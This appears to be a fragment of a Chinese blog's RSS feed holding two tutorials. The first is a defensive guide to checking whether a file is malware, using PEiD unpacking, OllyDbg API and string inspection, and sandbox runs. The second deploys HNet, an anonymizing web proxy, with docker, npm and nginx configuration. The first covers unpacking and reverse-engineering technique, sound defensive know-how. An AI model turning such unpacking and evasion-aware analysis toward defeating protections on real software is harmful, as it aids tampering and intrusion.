1、PEiD最常用的插件就是脱壳,PEiD的插件里有个通用脱壳器,能脱大部分的壳,如果脱壳后import表损害,还可以自动调用ImportREC修复import表,点击”=>”打开插件列表,比如我们使用unpacker for upx插件进行脱壳。

默认的脱壳后的文件放置位置在peid的根目录下。

文件名为原文件名前加un字样。

如果是一些简单的压缩壳,就在沙盘中运行OD,脱掉,分析。这时要做的不是一步步跟下去,而是找一下这个文件调用的API。在反汇编窗口右击,查找——当前模块中的名称(标签)。

观察一下API,这时也是有所取舍的。对于字符函数和字符串处理函数这类的,可以忽略过去;对于注册表函数、文件函数则要多加留意。比如说,看到了CreateFile,就在这个函数上下断,注意看有没有对系统敏感位置写入文件。同样,查看字符串也是有效的方式。一般地,可以从字符串找出一些病毒的特征。比如有的灰鸽子会有“客户端安装成功”之类的字样,发现一些邮件地址以及相应密码的。这些都是很可疑的。遇到一些猛壳,脱掉它是很困难的,这时可以借助下沙盘。 
让程序在沙盘里完全运行,之后终止所有程序。

查看一下程序生成了什么。

从程序生成的文件基本可以判断是否是病毒了。当然,也不乏一些检测沙盘、虚拟机的小东西。在病毒样本区的页面上方有在线沙盘的链接。分析的结果十分具体,可以用来参考。如果你觉得手工检测太麻烦,可以借助在线沙盘,既快又详细。

微步云沙箱(https://s.threatbook.com/)

安恒云沙箱-下一代沙箱的领航者 (dbappsecurity.com.cn)

VirusTotal - Home

先查一下壳,应该是没壳的.

此时我比较喜欢用PEiD的反汇编工具看看字符串,这个功能很方便.

注意选中的部分,很可疑.是一个URL,指向的还是个exe文件.这时应该怀疑这个外挂是个下载器.

下面将它用OD载入(在沙盘或虚拟机中进行),看一看当前模块中的名称(标签),有一个URLDownloadToFileA,这个函数可以实现将一个网络上的文件下载到本地的功能,一般的ShellCode常用到它.

在输入函数上切换断点,运行,可以看出具体的行为.

在此之后要做的就是对下载下来的这个文件进行分析

一般来说微软的程序不会有这样的图标,而一个外挂莫名其妙地下载微软的东西,很奇怪,只能说是欲盖弥彰,所以可以直接毙掉了.

同理,如果用沙盘直接运行,最终会在沙盘里提取到这个文件,会发现在临时目录里.在外挂的目录下还会发现一个隐藏文件,应该就是干净的外挂.

挂的这个马应该变了,与小生附件中的程序已经不同了.

如果你认为很麻烦,可以直接把它扔到在线沙盘里,让机器替你分析.

比如说我认为下载下来的这个文件壳比较难脱,或者说我根本不会脱壳,那么就打开云沙箱 ,选择文件,然后Upload,静候几分钟,就可以出结果,其它的在线沙盘也是大同小异.

引用

简书 https://www.jianshu.com/p/c738b5e8a3a3
如何快速判断一个文件是否为病毒 by 是昔流芳https://www.52pojie.cn/thread-69716-1-1.html
]]>
https://halloworlds.cn/tutorial/614.html/feed/ 0
hideipnetwork-web/HNet隐藏浏览痕迹服务 https://halloworlds.cn/tutorial/617.html https://halloworlds.cn/tutorial/617.html#respond Sat, 25 Nov 2023 15:19:35 +0000 https://www.halloworlds.cn/?p=617

很多时候在浏览网页时并不想留下浏览痕迹,想要没有浏览痕迹,不仅仅是指没有浏览记录,更是要对服务器隐藏更为深度的信息,例如你的IP、地理位置以及MAC地址等等。而HNet就是一个可实现匿名访问的项目。

体验

项目官方提供了演示地址,官方地址为:https://hideip.network/,这里需要说明,它并不是一个客户端,而是提供一个在线服务。


直接上手试试,可以发现他不是直接访问到源网页,而是会在访问的网址前加上它所属的域名前缀。同时该项目支持你挂上各种环境,所以理论上你可以借此它来访问全球各种网站而不留下足迹,有效的防止真实信息被泄露

部署

如果对官方项目不放心,该项目也支持自行部署,接下来是部署的教程。HNnet的部署很简单,你可以通过Docker镜像来部署

docker

docker run --name hideipnetwork -p 56559:56559 stilleshan/hideipnetwork-web

访问127.0.0.1:56559

docker compose

下载 docker-compose.yml 执行以下命令启动:

docker-compose up -d

另外也可以自行安装

快速入门

  • 需要安装 Node.js 16+
git clone https://github.com/Hideipnetwork/hideipnetwork-admin.git

cd hideipnetwork-admin

npm i && npm run start

如果需要自定义,请按注释修改内容

const config = {
pwd: 'hideip', //默认密码
url: 'https://www.google.com/search?q=', //默认搜索引擎,服务器在国外就不要搞国内的搜索引擎
time: 1, //cookie 过期时间,默认一天
plb:'在 HNet 上搜索,或者输入一个网址',
initPlb: "密码请关注公众号“xxx”发送【xxx】",//initPlb 用户自定义可以用来引流
initPwdShow: true, //如果要通过 initPlb引流,此处的initPwdSHow须为 false,你不要不信邪
}
module.exports = config;

如果你想绑定上自己的域名,可以使用反向代理绑定端口,以nginx为例:

location / {
    proxy_pass http://127.0.0.1:80;
    proxy_set_header  Host                $http_host;
    proxy_set_header  X-Real-IP           $remote_addr;
    proxy_set_header  X-Forwarded-Ssl     on;
    proxy_set_header  X-Forwarded-For     $proxy_add_x_forwarded_for;
    proxy_set_header  X-Forwarded-Proto   $scheme;
    proxy_set_header  X-Frame-Options     SAMEORIGIN;

    proxy_set_header  Upgrade             $http_upgrade;
    proxy_set_header  Connection          upgrade;
}
]]>
https://halloworlds.cn/tutorial/617.html/feed/ 0